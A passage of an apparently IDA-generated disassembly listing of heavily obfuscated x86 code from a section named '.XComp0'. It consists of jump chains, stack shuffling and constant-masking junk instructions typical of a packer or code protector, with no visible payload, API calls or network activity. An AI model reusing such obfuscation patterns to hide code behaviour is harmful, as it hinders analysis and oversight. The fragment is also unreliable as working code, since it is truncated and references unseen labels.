--------------------------------------------------------------------------- loc_5928E5: ; CODE XREF: .XComp0:00596D42j mov [esp], ebp push ecx jmp loc_58829C ; --------------------------------------------------------------------------- loc_5928EE: ; CODE XREF: .XComp0:0058EB0Aj xor eax, 4DE7FCB5h mov ecx, eax pop eax add ecx, 7DE56ED9h sub ecx, eax sub ecx, 7DE56ED9h push dword ptr [esp] jmp loc_58804B ; --------------------------------------------------------------------------- loc_59290C: ; CODE XREF: .XComp0:0058ECF5j sub edx, edi jmp loc_59264F ; --------------------------------------------------------------------------- loc_592913: ; CODE XREF: .XComp0:00588649j push esp pop eax add eax, 4 sub eax, 4 xchg eax, [esp] mov esp, [esp] mov [esp], edx mov edx, esp sub esp, 4 mov [esp], ecx mov ecx, 4 jmp loc_587B7A ; --------------------------------------------------------------------------- loc_592938: ; CODE XREF: .XComp0:005899A9j push edx push 715B4A23h pop edx xor edx, 715B4A21h push edx push esi jmp loc_583B9B ; --------------------------------------------------------------------------- loc_59294C: ; CODE XREF: .XComp0:0058A304j pop edi sub esp, 4 jmp loc_593FCB ; --------------------------------------------------------------------------- loc_592958: ; CODE XREF: .XComp0:00598BE5j add edx, 52E537B6h add edx, ebx sub edx, 52E537B6h jmp loc_58C2FE ; --------------------------------------------------------------------------- loc_59296B: ; CODE XREF: .XComp0:00592313j shr ebp, 6 sub ebp, 38517658h push ecx push edi push 20707CA4h pop edi sub edi, 0F7D53498h jmp loc_58A65F ; --------------------------------------------------------------------------- loc_592987: ; CODE XREF: .XComp0:0058E196j add eax, 4 jmp loc_594C72 ; --------------------------------------------------------------------------- loc_592991: ; CODE XREF: .XComp0:005940AFj pop edi jmp loc_592BD0 ; --------------------------------------------------------------------------- loc_592997: ; CODE XREF: .XComp0:00589A13j push ebp mov ebp, esp push eax mov eax, 4 add ebp, eax pop eax add ebp, 4 xor ebp, [esp] xor [esp], ebp xor ebp, [esp] pop esp jmp loc_597442 ; --------------------------------------------------------------------------- loc_5929B8: ; CODE XREF: .XComp0:00587C90j sub edx, 21CC20EFh mov esi, edx pop edx mov ecx, esi pop esi shr ecx, 3 jmp loc_5977AE ; --------------------------------------------------------------------------- loc_5929CC: ; CODE XREF: .XComp0:005951ABj add dword ptr [esp], 4 mov ebp, [esp] add esp, 4 push eax jmp loc_584482 ; --------------------------------------------------------------------------- loc_5929DF: ; CODE XREF: .XComp0:0058FC75j push ebp push 44ED21ABh mov ebp, [esp] add esp, 4 shr ebp, 8 jmp loc_598B8B ; --------------------------------------------------------------------------- loc_5929F3: ; CODE XREF: .XComp0:00588DB0j push ebp mov ebp, 4 push ecx jmp loc_588B79 ; --------------------------------------------------------------------------- loc_5929FF: ; CODE XREF: .XComp0:005966F2j add eax, esi pop esi add eax, ebx sub eax, 35CC4353h pop ebx push eax push dword ptr [esp+4] jmp loc_58E17A ; --------------------------------------------------------------------------- loc_592A14: ; CODE XREF: .XComp0:005921EEj push 51E1h jmp loc_58735D ; --------------------------------------------------------------------------- loc_592A1E: ; CODE XREF: .XComp0:00593C8Cj and edi, 1E09745Eh inc edi add edi, 75DBE890h jmp loc_591ED4 ; --------------------------------------------------------------------------- loc_592A30: ; CODE XREF: .XComp0:0059196Fj push edx jmp loc_59808E ; --------------------------------------------------------------------------- loc_592A36: ; CODE XREF: .XComp0:0058E325j pop ecx push eax sub esp, 4 mov [esp], esp sub esp, 4 mov [esp], ebx mov ebx, 4 add [esp+4], ebx pop ebx pop eax push esi jmp loc_593B62 ; --------------------------------------------------------------------------- loc_592A58: ; CODE XREF: .XComp0:0058E964j xchg ebx, [esp] pop esp push edi jmp loc_585E53 ; --------------------------------------------------------------------------- loc_592A62: ; CODE XREF: .XComp0:0058C6C3j pop eax jmp loc_5868BD ; --------------------------------------------------------------------------- loc_592A68: ; CODE XREF: .XComp0:00593815j push eax jmp loc_59708F ; --------------------------------------------------------------------------- loc_592A6E: ; CODE XREF: .XComp0:0058CD1Bj mov ecx, 4 add [esp+4], ecx pop ecx jmp loc_58A3D9 ; --------------------------------------------------------------------------- loc_592A7D: ; CODE XREF: .XComp0:0058B4D7j push ax jmp loc_58B4AE ; --------------------------------------------------------------------------- loc_592A84: ; CODE XREF: .XComp0:00590FA5j add ecx, 7E0B0502h sub ecx, 11FE7769h dec ecx jmp loc_58C811 ; --------------------------------------------------------------------------- loc_592A96: ; CODE XREF: .XComp0:00593DEEj mov esp, [esp] jmp loc_583A60 ; --------------------------------------------------------------------------- loc_592A9E: ; CODE XREF: .XComp0:00589124j mov al, 0F0h push eax jmp loc_58945F ; --------------------------------------------------------------------------- loc_592AA6: ; CODE XREF: .XComp0:00584D64j push esp pop esi push ebx push 34F958C5h pop ebx shl ebx, 8 push esi jmp loc_58A7E2 ; --------------------------------------------------------------------------- loc_592AB8: ; CODE XREF: .XComp0:005944AFj pop edx xor ebp, 5995896h jmp loc_595D55 ; --------------------------------------------------------------------------- loc_592AC4: ; CODE XREF: .XComp0:00591D0Dj mov ebx, 4 sub esi, ebx mov ebx, [esp] push ebx mov ebx, esp add ebx, 4 jmp loc_58D2EA ; --------------------------------------------------------------------------- loc_592ADC: ; CODE XREF: .XComp0:0059575Aj mov esi, 56B96347h jmp loc_597A84 ; --------------------------------------------------------------------------- loc_592AE6: ; CODE XREF: .XComp0:0058BED7j pop eax add ebx, edx pop edx push ecx jmp loc_58D4D2 ; --------------------------------------------------------------------------- loc_592AF0: ; CODE XREF: .XComp0:0058ACB0j mov esi, 13385684h sub esi, 1 jmp loc_5872B9 ; --------------------------------------------------------------------------- loc_592AFD: ; CODE XREF: .XComp0:00594701j push ebx push 713041F5h jmp loc_5875F3 ; --------------------------------------------------------------------------- loc_592B08: ; CODE XREF: .XComp0:0058A90Dj pop ecx push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] mov esp, [esp] sub ebx, 3DD6936h jmp loc_58A555 ; --------------------------------------------------------------------------- loc_592B29: ; CODE XREF: .XComp0:0058D38Ej mov [esp], ebx jmp loc_59692E ; --------------------------------------------------------------------------- loc_592B31: ; CODE XREF: .XComp0:0058C402j pop eax sub ebx, ecx pop ecx pop ebp pop eax push edi sub esp, 4 mov [esp], eax push 35D7599h pop eax or eax, 5477572Ch sub eax, 577F77B9h mov edi, eax jmp loc_597ACA ; --------------------------------------------------------------------------- loc_592B58: ; CODE XREF: .XComp0:00587280j mov [esp], edi mov edi, 6436E95h push ecx push ebp mov ebp, 4CEF4D63h inc ebp add ebp, 34AA08A1h inc ebp xor ebp, 8CAB24D0h jmp loc_59758C ; --------------------------------------------------------------------------- loc_592B7A: ; CODE XREF: .XComp0:00593BBCj push 16DE5ECBh pop eax push esi jmp loc_587957 ; --------------------------------------------------------------------------- loc_592B86: ; CODE XREF: .XComp0:00590C6Bj pop ebx jmp loc_595A4F ; --------------------------------------------------------------------------- loc_592B8C: ; CODE XREF: .XComp0:00593869j mov [esp], eax push 2B301322h pop eax neg eax sub eax, 78D7903Eh jmp loc_585C7C ; --------------------------------------------------------------------------- loc_592BA1: ; CODE XREF: .XComp0:005923A2j mov edx, 521C3E9Eh jmp loc_584963 ; --------------------------------------------------------------------------- loc_592BAB: ; CODE XREF: .XComp0:0059835Dj mov esi, esp add esi, 4 sub esi, 4 jmp loc_58C0E5 ; --------------------------------------------------------------------------- loc_592BBE: ; CODE XREF: .XComp0:00594F41j xchg edi, [esp] pop esp mov [esp], ebx push edx push 28897C1Ch jmp loc_585E80 ; --------------------------------------------------------------------------- loc_592BD0: ; CODE XREF: .XComp0:00592992j not edi push 38F9h mov [esp], edx mov edx, 0 sub edx, edi xchg edx, edi pop edx push ebp jmp loc_590CC4 ; --------------------------------------------------------------------------- loc_592BEA: ; CODE XREF: .XComp0:00593C54j push ebx push ebp jmp loc_5934F8 ; --------------------------------------------------------------------------- loc_592BF1: ; CODE XREF: .XComp0:0058C9A3j sub ecx, 0EAD35018h push esi push 11B76D67h pop esi sub eax, esi pop esi jmp loc_58D36E ; --------------------------------------------------------------------------- loc_592C06: ; CODE XREF: .XComp0:0058C91Aj inc edi neg edi and edi, 19BF53B6h jmp loc_598239 ; --------------------------------------------------------------------------- loc_592C14: ; CODE XREF: .XComp0:0058F30Fj push 1F2Eh jmp loc_58C0A1 ; --------------------------------------------------------------------------- loc_592C1E: ; CODE XREF: .XComp0:005934F3j and cl, 69h sub cl, 0EDh jmp loc_58659C ; --------------------------------------------------------------------------- loc_592C29: ; CODE XREF: .XComp0:0058A982j or ebx, eax pop eax push eax jmp loc_58A806 ; --------------------------------------------------------------------------- loc_592C32: ; CODE XREF: .XComp0:005953E7j mov [esp], ebp jmp loc_58706D ; --------------------------------------------------------------------------- loc_592C3A: ; CODE XREF: .XComp0:0058C20Ej add edi, 4 xchg edi, [esp] mov esp, [esp] and [edi+1Ch], ebx pop ebx jmp loc_583A60 ; --------------------------------------------------------------------------- loc_592C4C: ; CODE XREF: .XComp0:0058767Bj mov edx, [esp] add esp, 4 push edi mov edi, 2BCA4CD4h shr edi, 4 neg edi add edi, 1EEA1522h push edx mov edx, 1467BFB8h add edi, edx jmp loc_58A1D1 ; --------------------------------------------------------------------------- loc_592C70: ; CODE XREF: .XComp0:00594635j push ecx mov ecx, 262F1034h sub ebx, ecx pop ecx jmp loc_593787 ; --------------------------------------------------------------------------- loc_592C7E: ; CODE XREF: .XComp0:005943B5j add edx, 0AF9F9041h mov ebx, edx mov edx, [esp] add esp, 4 add ebx, edi jmp loc_584F51 ; --------------------------------------------------------------------------- loc_592C93: ; CODE XREF: .XComp0:0058F6BEj push dword ptr [esp] jmp loc_592DDB ; --------------------------------------------------------------------------- loc_592C9B: ; CODE XREF: .XComp0:005942C5j mov ecx, [esp] add esp, 4 or edx, ecx push dword ptr [esp] pop ecx add esp, 4 and edx, 727E5FA3h sub edx, 70525F20h add eax, edx pop edx jmp loc_5977D3 ; --------------------------------------------------------------------------- loc_592CC1: ; CODE XREF: .XComp0:0059554Aj pop eax add esp, 4 add eax, 4 sub eax, 4 xor eax, [esp] jmp loc_593650 ; --------------------------------------------------------------------------- loc_592CD5: ; CODE XREF: .XComp0:0058BA22j mov esi, 4 push edx mov edx, 6C9601C1h add ecx, edx jmp loc_5919F4 ; --------------------------------------------------------------------------- loc_592CE7: ; CODE XREF: .XComp0:00596D82j add ebp, 4 xchg ebp, [esp] pop esp sub esp, 4 jmp loc_58D985 ; --------------------------------------------------------------------------- loc_592CF6: ; CODE XREF: .XComp0:0059410Ej push edi mov edi, 0 sub edi, ebx mov ebx, edi pop edi add ebx, 7D0C1F0Dh neg ebx jmp loc_593615 ; --------------------------------------------------------------------------- mov ax, [esp] push edi push esp pop edi sub esp, 4 mov [esp], ebp mov ebp, esp add ebp, 4 sub ebp, 4 jmp loc_58F0E0 ; --------------------------------------------------------------------------- loc_592D2E: ; CODE XREF: .XComp0:00596A0Dj push ebx push ecx push eax jmp loc_59144C ; --------------------------------------------------------------------------- loc_592D36: ; CODE XREF: .XComp0:005986EBj add dword ptr [esp], 4 pop ebp push edi mov edi, 5D5E2514h inc edi push 570Bh jmp loc_58A48F ; --------------------------------------------------------------------------- loc_592D4C: ; CODE XREF: .XComp0:005983FFj push edx mov dh, 38h jmp loc_585B2C ; --------------------------------------------------------------------------- loc_592D54: ; CODE XREF: .XComp0:0058CD60j mov [esp], ax jmp loc_58D016 ; --------------------------------------------------------------------------- loc_592D5D: ; CODE XREF: .XComp0:00585EA7j add edi, 4 xchg edi, [esp] pop esp push edx jmp loc_594600 ; --------------------------------------------------------------------------- loc_592D6D: ; CODE XREF: .XComp0:005892B0j xor bl, 0D2h xor cl, bl pop ebx jmp loc_597BDC ; --------------------------------------------------------------------------- loc_592D78: ; CODE XREF: .XComp0:00595C8Fj add [esp+4], edx pop edx mov eax, [esp] add esp, 4 jmp loc_58C741 ; --------------------------------------------------------------------------- loc_592D88: ; CODE XREF: .XComp0:00596942j mov eax, 16E3649Dh mov ebp, eax pop eax not ebp neg ebp not ebp jmp loc_588F9D ; --------------------------------------------------------------------------- loc_592D9B: ; CODE XREF: .XComp0:00592683j not ebp jmp loc_596E0E ; --------------------------------------------------------------------------- loc_592DA2: ; CODE XREF: .XComp0:005934ABj add ebx, ebp push dword ptr [esp] pop ebp push ebx mov ebx, esp add ebx, 4 add ebx, 4 xchg ebx, [esp] pop esp sub esp, 4 mov [esp], ebx push dword ptr [esp+4] jmp loc_596D1E ; --------------------------------------------------------------------------- loc_592DCA: ; CODE XREF: .XComp0:0058EAA2j pop esp pop dword ptr [esp] mov esp, [esp] bt [esp], eax pushf jmp loc_598315 ; --------------------------------------------------------------------------- loc_592DDB: ; CODE XREF: .XComp0:00592C96j pop eax add esp, 4 add edx, eax push 5971h mov [esp], ebp push ebx mov ebx, 4E1C2205h push ebx jmp loc_587265 ; --------------------------------------------------------------------------- loc_592DF8: ; CODE XREF: .XComp0:00589595j push ecx mov ecx, 0FAF25FA0h push esi mov esi, 216A3DB3h push ebp mov ebp, 0BE68F26Ch sub esi, ebp jmp loc_5958DD ; --------------------------------------------------------------------------- loc_592E11: ; CODE XREF: .XComp0:0058BF9Fj mov [esp], edi pop ebx jmp loc_58FB71 ; --------------------------------------------------------------------------- loc_592E1A: ; CODE XREF: .XComp0:00597D31j not dword ptr [esp] pop ebp and ebp, 1509417Ch add ebp, 160AF785h mov edx, ebp pop ebp push 7AB5h mov [esp], edx jmp loc_58537F ; --------------------------------------------------------------------------- loc_592E3A: ; CODE XREF: .XComp0:00584FEAj pop ecx add edi, 4 jmp loc_585EC1 ; --------------------------------------------------------------------------- loc_592E46: ; CODE XREF: .XComp0:0058C037j add al, bl jmp loc_58F70E ; --------------------------------------------------------------------------- loc_592E4D: ; CODE XREF: .XComp0:0059135Aj push esp pop ebp jmp loc_592068 ; --------------------------------------------------------------------------- loc_592E54: ; CODE XREF: .XComp0:005932F8j pop ecx sub ebx, 769609ACh jmp loc_597B50 ; --------------------------------------------------------------------------- loc_592E60: ; CODE XREF: .XComp0:0059010Fj sub ebp, 36192A23h sub ebp, 20921998h add ebp, edi jmp loc_58A5DB ; --------------------------------------------------------------------------- loc_592E73: ; CODE XREF: .XComp0:0058D78Fj xor dl, 3Ah xor al, dl pop edx sub al, 3Fh mov bh, al pop eax sub cl, bh pop ebx shl cl, 5 sub cl, 3Dh add dh, cl pop ecx sub al, 0F6h sub al, dh add al, 0F6h pop edx sub al, 0 sub al, bl add al, 0 add al, 93h push edx mov edx, esp add edx, 4 sub edx, 2 xchg edx, [esp] pop esp jmp loc_593B33 ; --------------------------------------------------------------------------- loc_592EB1: ; CODE XREF: .XComp0:00593E73j mov [esp], edi xchg esi, [esp] not esi xor [esp], esi xor esi, [esp] xor [esp], esi jmp loc_587E76 ; --------------------------------------------------------------------------- loc_592EC7: ; CODE XREF: .XComp0:00598593j shl edx, 4 add edx, 2FB65B7Bh or eax, edx jmp loc_584A3F ; --------------------------------------------------------------------------- loc_592ED7: ; CODE XREF: .XComp0:0058C447j pop ebx add eax, 3C0B3872h jmp loc_58A451 ; --------------------------------------------------------------------------- loc_592EE2: ; CODE XREF: .XComp0:005988D9j pop ebp sub esp, 4 mov [esp], ebp mov ebp, 41581DA9h xor edi, ebp jmp loc_597F50 ; --------------------------------------------------------------------------- loc_592EF8: ; CODE XREF: .XComp0:00585EBCj add dword ptr [esp], 4 jmp loc_584D60 ; --------------------------------------------------------------------------- loc_592F04: ; CODE XREF: .XComp0:00586E15j add esp, 4 push ecx jmp loc_58E9E8 ; --------------------------------------------------------------------------- loc_592F0D: ; CODE XREF: .XComp0:0058F138j add ebp, 0FFFFFFFFh neg ebp jmp loc_5971F8 ; --------------------------------------------------------------------------- loc_592F1A: ; CODE XREF: .XComp0:00587B42j mov [esp], esp push 6FA8h mov [esp], ecx mov ecx, 4 add [esp+4], ecx jmp loc_58FCFB ; --------------------------------------------------------------------------- loc_592F33: ; CODE XREF: .XComp0:00583DADj add edi, 0C0359ADh jmp loc_58970B ; --------------------------------------------------------------------------- loc_592F3E: ; CODE XREF: .XComp0:00598F71j push dword ptr [esp+4] pop edi pop dword ptr [esp] pop esp push ebp mov ebp, esp push edx mov edx, 4 add ebp, edx pop edx push ebx mov ebx, 50583C23h jmp loc_5943E1 ; --------------------------------------------------------------------------- loc_592F5E: ; CODE XREF: .XComp0:0058B1B9j pop ecx dec ebx neg ebx add ebx, 9B21396Fh mov ecx, ebx pop ebx add ecx, 40FC5A18h shr ecx, 2 and ecx, 572C2355h jmp loc_58D2CD ; --------------------------------------------------------------------------- loc_592F7F: ; CODE XREF: .XComp0:00595E12j push esp jmp loc_586BA8 ; --------------------------------------------------------------------------- loc_592F85: ; CODE XREF: .XComp0:0058401Bj mov edi, eax pop eax jmp loc_583AEE ; --------------------------------------------------------------------------- loc_592F8D: ; CODE XREF: .XComp0:0058492Dj neg edx add edx, 7EB7AAE3h sub eax, edx mov edx, [esp] add esp, 4 push ecx push edi mov edi, 0CA60975h mov ecx, edi pop edi xor ecx, 17066875h xor ecx, 6CF5373Ah add ecx, 298719E0h jmp loc_598F9C ; --------------------------------------------------------------------------- loc_592FC1: ; CODE XREF: .XComp0:00598B15j shl edi, 2 xor edi, 2BDA214h jmp loc_586472 ; --------------------------------------------------------------------------- loc_592FCF: ; CODE XREF: .XComp0:00596C02j push ecx mov ecx, 5F0E559Ch or esi, ecx pop ecx sub esi, 0EEF22DB4h jmp loc_596263 ; --------------------------------------------------------------------------- loc_592FE3: ; CODE XREF: .XComp0:0058BD14j mov edi, ecx pop ecx mov ebx, edi pop edi shr ebx, 3 jmp loc_588BB4 ; --------------------------------------------------------------------------- loc_592FF1: ; CODE XREF: .XComp0:00590186j pop esp push dword ptr [esp] pop eax push 6174h mov [esp], ebp sub esp, 4 mov [esp], esp add dword ptr [esp], 4 push dword ptr [esp] pop ebp sub esp, 4 mov [esp], edi push esp jmp loc_584FCF ; --------------------------------------------------------------------------- loc_59301E: ; CODE XREF: .XComp0:0058DE86j add al, 0A0h mov edx, [esp] add esp, 4 jmp loc_59607A ; --------------------------------------------------------------------------- loc_59302E: ; CODE XREF: .XComp0:00587D91j dec ecx shl ecx, 3 add ecx, 8F12A07Ch sub ebp, ecx jmp loc_59424F ; --------------------------------------------------------------------------- loc_59303F: ; CODE XREF: .XComp0:00589970j mov edi, esp add edi, 4 add edi, 4 xchg edi, [esp] jmp loc_590A43 ; --------------------------------------------------------------------------- loc_593052: ; CODE XREF: .XComp0:0058CE41j xor ebx, [esp] xor [esp], ebx xor ebx, [esp] jmp loc_58ACFD ; --------------------------------------------------------------------------- loc_593060: ; CODE XREF: .XComp0:0058DCE0j xor esi, [esp] mov esp, [esp] mov cx, [esp] push 75A4h mov [esp], ecx mov ecx, esp push 78F8h mov [esp], edi push eax push esp pop eax push ebx mov ebx, 4C3E3242h shr ebx, 6 neg ebx neg ebx push esi mov esi, 54F27C89h inc esi jmp loc_586CB6 ; --------------------------------------------------------------------------- loc_593098: ; CODE XREF: .XComp0:0058F80Cj xchg ebp, [esp] jmp loc_5910F5 ; --------------------------------------------------------------------------- loc_5930A0: ; CODE XREF: .XComp0:00587674j and ebp, 711A52F3h sub ebp, 26D83AD3h push 62FEh mov [esp], ebp xor dword ptr [esp], 36F6B44h jmp loc_5899DF ; --------------------------------------------------------------------------- loc_5930C0: ; CODE XREF: .XComp0:0058CDE9j sub esp, 4 mov [esp], edi mov edi, esp add edi, 4 push eax jmp loc_596BD6 ; --------------------------------------------------------------------------- loc_5930D4: ; CODE XREF: .XComp0:00590C33j sub esp, 4 mov [esp], ebp push 5DD50ECCh pop ebp jmp loc_597837 ; --------------------------------------------------------------------------- loc_5930E5: ; CODE XREF: .XComp0:0058498Bj mov ebx, esp push ecx jmp loc_5867B6 ; --------------------------------------------------------------------------- loc_5930ED: ; CODE XREF: .XComp0:0058791Fj add ecx, ebx mov ebx, [esp] add esp, 4 jmp loc_589BE3 ; --------------------------------------------------------------------------- loc_5930FD: ; CODE XREF: .XComp0:0058A9B6j add eax, 97D200AEh xor [esp+4], eax push dword ptr [esp] pop eax push eax push esp jmp loc_58D0AE ; --------------------------------------------------------------------------- loc_593111: ; CODE XREF: .XComp0:005919D2j add esp, 4 jmp loc_593394 ; --------------------------------------------------------------------------- loc_593119: ; CODE XREF: .XComp0:00586F5Cj xchg ecx, [esp] pop esp neg edx sub esp, 4 mov [esp], ebx push edi mov edi, 51372404h shl edi, 8 jmp loc_58C219 ; --------------------------------------------------------------------------- loc_593136: ; CODE XREF: .XComp0:0058AC0Dj xchg ebp, ecx not ebp xchg ebp, ecx shl ecx, 7 xor ecx, 2EC260C4h jmp loc_597240 ; --------------------------------------------------------------------------- loc_59314A: ; CODE XREF: .XComp0:00595128j push ebx mov ebx, 88301F15h sub ecx, ebx jmp loc_59712E ; --------------------------------------------------------------------------- loc_593157: ; CODE XREF: .XComp0:00586FF3j push 2A33h jmp loc_5918C9 ; --------------------------------------------------------------------------- loc_593161: ; CODE XREF: .XComp0:00593717j sub ebx, 2498F289h add ebx, 0D410E28Dh mov ecx, ebx mov ebx, [esp] add esp, 4 add eax, ecx push dword ptr [esp] pop ecx add esp, 4 jmp loc_58A391 ; --------------------------------------------------------------------------- loc_593183: ; CODE XREF: .XComp0:0058E8D6j pop esp push 14A2h mov [esp], ebx push ecx xor dword ptr [esp], 68F41B04h mov ebx, [esp] add esp, 4 jmp loc_583CC9 ; --------------------------------------------------------------------------- loc_59319F: ; CODE XREF: .XComp0:00587994j add edx, 4 add edx, 4 jmp loc_58B7A6 ; --------------------------------------------------------------------------- loc_5931B0: ; CODE XREF: .XComp0:00592898j mov [esp], ebp push esp pop ebp push ebx mov ebx, 4A922B2Fh push ecx push esi mov esi, 12C03627h mov ecx, esi pop esi add ecx, 4DD87B19h jmp loc_584EAA ; --------------------------------------------------------------------------- loc_5931D0: ; CODE XREF: .XComp0:0058B665j mov [esp], ebx jmp loc_5941CC ; --------------------------------------------------------------------------- loc_5931D8: ; CODE XREF: .XComp0:00584E5Ej add ebx, 4 sub esp, 4 mov [esp], esi mov esi, 4 add ebx, esi pop esi xchg ebx, [esp] jmp loc_58457C ; --------------------------------------------------------------------------- loc_5931F4: ; CODE XREF: .XComp0:00584E4Bj sub edi, 5E306CEAh sub edi, ebp add edi, 5E306CEAh mov ebp, [esp] jmp loc_5965AE ; --------------------------------------------------------------------------- loc_59320A: ; CODE XREF: .XComp0:0058534Cj sub edx, 4 xchg edx, [esp] pop esp mov [esp], ebx mov ebx, 240741DFh dec ebx jmp loc_594D70 ; --------------------------------------------------------------------------- loc_59321F: ; CODE XREF: .XComp0:0058913Bj xchg eax, [esp] pop esp push ebx mov ebx, 2D506336h neg ebx xor ebx, 63662009h sub ebx, 30270792h push eax mov eax, 1 add ebx, eax pop eax or ebx, 7D4640F6h jmp loc_5937DC ; --------------------------------------------------------------------------- loc_59324B: ; CODE XREF: .XComp0:0058A466j or eax, 5E9F1EDCh add eax, 4F180BA1h xor eax, 0F0F83D10h mov ebx, eax mov eax, [esp] add esp, 4 sub eax, ebx jmp loc_594113 ; --------------------------------------------------------------------------- loc_59326C: ; CODE XREF: .XComp0:0058E41Fj add ebx, edi pop edi push ebx xor [esp], ebx xor ebx, [esp] xor [esp], ebx not ebx xchg ebx, [esp] push dword ptr [esp] pop ebx add esp, 4 jmp loc_58BBA5 ; --------------------------------------------------------------------------- loc_59328D: ; CODE XREF: .XComp0:00595568j add ebp, 0FFFFFFFFh add ebp, 74BD0BDEh jmp loc_5932FD ; --------------------------------------------------------------------------- loc_59329E: ; CODE XREF: .XComp0:0058835Bj add esp, 4 push ebx jmp loc_58DEF1 ; --------------------------------------------------------------------------- loc_5932AA: ; CODE XREF: .XComp0:0059816Fj sub ecx, 6D576A5h jmp loc_58E48D ; --------------------------------------------------------------------------- loc_5932B5: ; CODE XREF: .XComp0:0058C541j xor ecx, [esp] xor [esp], ecx xor ecx, [esp] pop esp add eax, 4 push ecx mov ecx, esp add ecx, 4 sub ecx, 4 jmp loc_58643C ; --------------------------------------------------------------------------- loc_5932D5: ; CODE XREF: .XComp0:00586B54j sub eax, edx jmp loc_597D7C ; --------------------------------------------------------------------------- loc_5932DC: ; CODE XREF: .XComp0:0058A922j sub ebp, 95AE9C4Dh xor edi, ebp pop ebp push 49E8h jmp loc_585362 ; --------------------------------------------------------------------------- loc_5932EF: ; CODE XREF: .XComp0:00589A54j xchg eax, ecx sub ecx, 0BB9C0BD8h add ebp, ecx jmp loc_592E54 ; --------------------------------------------------------------------------- loc_5932FD: ; CODE XREF: .XComp0:00593299j add edx, 69D9144Fh sub edx, 6F744EA3h jmp loc_58C5F5 ; --------------------------------------------------------------------------- loc_59330E: ; CODE XREF: .XComp0:005959E1j sub ecx, edi push dword ptr [esp] pop edi jmp loc_5842DD ; --------------------------------------------------------------------------- loc_593319: ; CODE XREF: .XComp0:00590AEBj sub ecx, 4 xchg ecx, [esp] pop esp mov [esp], ebx mov ebx, esp add ebx, 4 jmp loc_593849 ; --------------------------------------------------------------------------- loc_593330: ; CODE XREF: .XComp0:005845D6j add ebx, esi sub ebx, 1C150E57h jmp loc_58ACB5 ; --------------------------------------------------------------------------- loc_59333D: ; CODE XREF: .XComp0:0058C222j pop edi sub edx, ebx pop ebx inc edx dec edx jmp loc_591F45 ; --------------------------------------------------------------------------- loc_593348: ; CODE XREF: .XComp0:00585803j xor ecx, ebx pop ebx mov edx, [esp] add esp, 4 jmp loc_58D031 ; --------------------------------------------------------------------------- loc_593356: ; CODE XREF: .XComp0:00591342j push ebx mov ebx, 4DCD5845h add ebx, 0FD9027Ch sub esi, ebx pop ebx sub esi, ecx jmp loc_5906B6 ; --------------------------------------------------------------------------- loc_59336C: ; CODE XREF: .XComp0:005845F5j mov [esp], edx push 8543821h pop edx mov ecx, edx mov edx, [esp] add esp, 4 sub eax, 5A033E30h sub eax, ecx jmp loc_584B10 ; --------------------------------------------------------------------------- loc_59338C: ; CODE XREF: .XComp0:0058E003j shr edx, 6 jmp loc_596BB8 ; --------------------------------------------------------------------------- loc_593394: ; CODE XREF: .XComp0:00593114j add ebx, 47956E4Bh jmp loc_58697B ; --------------------------------------------------------------------------- loc_59339F: ; CODE XREF: .XComp0:0058ABD9j jmp loc_583A60 ; --------------------------------------------------------------------------- loc_5933A4: ; CODE XREF: .XComp0:00586ADFj add eax, 4 jmp loc_583BD5 ; --------------------------------------------------------------------------- loc_5933AE: ; CODE XREF: .XComp0:005872E0j mov ebp, eax pop eax mov ecx, [esp] push eax mov eax, esp add eax, 4 jmp loc_59028B ; --------------------------------------------------------------------------- loc_5933C1: ; CODE XREF: .XComp0:00591B00j mov ebx, edi jmp loc_593A17 ; --------------------------------------------------------------------------- loc_5933C8: ; CODE XREF: .XComp0:0058F58Dj push 7B26h mov [esp], ebp push ecx mov ecx, 9EF4508h jmp loc_58601C ; --------------------------------------------------------------------------- loc_5933DB: ; CODE XREF: .XComp0:0058A5D6j push esi mov esi, esp sub esp, 4 jmp loc_585F42 ; --------------------------------------------------------------------------- loc_5933E6: ; CODE XREF: .XComp0:00596B61j mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp push 158Ah mov [esp], eax sub esp, 4 mov [esp], esp jmp loc_58553C ; --------------------------------------------------------------------------- loc_59340E: ; CODE XREF: .XComp0:0059656Fj add ebx, 73932C6Ah add ebx, esi sub ebx, 73932C6Ah jmp loc_584E81 ; --------------------------------------------------------------------------- loc_593421: ; CODE XREF: .XComp0:00588401j mov esi, esp jmp loc_58B6D7 ; --------------------------------------------------------------------------- loc_593428: ; CODE XREF: .XComp0:0058F3A6j sub edi, 4 xchg edi, [esp] jmp loc_58FAE7 ; --------------------------------------------------------------------------- loc_593433: ; CODE XREF: .XComp0:005877E7j pop esp xchg esi, [esp] mov esp, [esp] mov [esp], edx push eax pushf jmp loc_583A60 ; --------------------------------------------------------------------------- loc_593444: ; CODE XREF: .XComp0:00584589j add dword ptr [esp+4], 5F460252h pop ebp jmp loc_594C7C ; --------------------------------------------------------------------------- loc_593452: ; CODE XREF: .XComp0:00590A5Aj push ebx mov ebx, 4827323h jmp loc_58F75D ; --------------------------------------------------------------------------- loc_59345D: ; CODE XREF: .XComp0:00587157j push esp jmp loc_5964A7 ; --------------------------------------------------------------------------- loc_593463: ; CODE XREF: .XComp0:00593AD8j mov ebp, [esp] jmp loc_58A3F3 ; --------------------------------------------------------------------------- loc_59346B: ; CODE XREF: .XComp0:0058AA5Dj pop ecx push 1BD6h mov [esp], ebx push esp mov ebx, [esp] jmp loc_5911A8 ; --------------------------------------------------------------------------- loc_59347D: ; CODE XREF: .XComp0:0059176Ej inc edx sub edx, 7CE4C764h mov ebx, edx pop edx xor edi, ebx pop ebx xor eax, edi push dword ptr [esp] pop edi add esp, 4 push 6B8Bh mov [esp], edi jmp loc_593E65 ; --------------------------------------------------------------------------- loc_5934A3: ; CODE XREF: .XComp0:00591824j mov [esp], ebp mov ebp, 2 jmp loc_592DA2 ; --------------------------------------------------------------------------- loc_5934B0: ; CODE XREF: .XComp0:005918E4j mov edx, ebx pop ebx and edx, 7E4122E8h shr edx, 1 push eax mov eax, 33AB3A7Dh and eax, 717F79FDh and eax, 2D720774h push ebx mov ebx, 7E766E0Fh jmp loc_58CBE9 ; --------------------------------------------------------------------------- loc_5934D6: ; CODE XREF: .XComp0:0058D7ADj add ebp, ecx pop ecx jmp loc_592342 ; --------------------------------------------------------------------------- loc_5934DE: ; CODE XREF: .XComp0:00584C03j mov ecx, esp jmp loc_58B6AA ; --------------------------------------------------------------------------- loc_5934E5: ; CODE XREF: .XComp0:0058AA05j sub al, 6Fh mov edx, [esp] add esp, 4 push ecx mov cl, 0E7h jmp loc_592C1E ; --------------------------------------------------------------------------- loc_5934F8: ; CODE XREF: .XComp0:00592BECj 